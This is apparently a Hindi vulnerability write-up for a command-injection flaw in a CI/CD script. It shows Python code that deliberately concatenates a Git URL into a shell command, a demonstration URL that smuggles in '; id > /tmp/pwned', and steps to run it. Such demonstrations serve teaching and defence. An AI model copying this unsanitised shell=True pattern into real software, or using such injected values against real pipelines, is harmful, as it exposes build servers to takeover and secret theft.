CVE-2026-11120 – CI/CD पाइपलाइन में Git URL के माध्यम से कमांड इंजेक्शन

प्रोग्राम कोड (Python)

# cicd_build.py - Clones repository without sanitizing URL
import subprocess, sys

def clone_and_build(repo_url):
    # Vulnerability: repo_url can contain shell metacharacters
    cmd = f"git clone {repo_url} /tmp/repo"
    subprocess.check_call(cmd, shell=True)
    # Build steps...

if __name__ == '__main__':
    # Simulate attacker-controlled input
    malicious_url = "https://github.com/org/repo.git; id > /tmp/pwned"
    clone_and_build(malicious_url)

CVE-2026-11120 – CI/CD में Git URL के माध्यम से कमांड इंजेक्शन

अवलोकन

एक CI/CD पाइपलाइन स्क्रिप्ट शेल कमांड में बिना सैनिटाइज़ किए उपयोगकर्ता-आपूर्ति किए गए Git रिपॉजिटरी URL का उपयोग करती है। एक हमलावर URL में विशेष वर्णों (जैसे ;, &&) को शामिल करके शेल कमांड इंजेक्ट कर सकता है, जिससे बिल्ड सर्वर पर मनमाना कमांड निष्पादन हो सकता है।

भेद्यता विवरण

प्रकार: कमांड इंजेक्शन
प्रभाव: बिल्ड इन्फ्रास्ट्रक्चर से छेड़छाड़, गोपनीय जानकारी का रिसाव।
मूल कारण: रिपॉजिटरी URL को बिना एस्केपिंग या सत्यापन के सीधे शेल कमांड में जोड़ दिया जाता है।

शोषण प्रदर्शन

कमजोर स्क्रिप्ट चलाएँ:

python cicd_build.py

यह इंजेक्ट किए गए id कमांड को निष्पादित करता है, जिससे /tmp/pwned बनता है।

CVE-2026-11120-Command-Injection-via-Git-URL-in-CI-CD-Pipeline

सबसे लोकप्रिय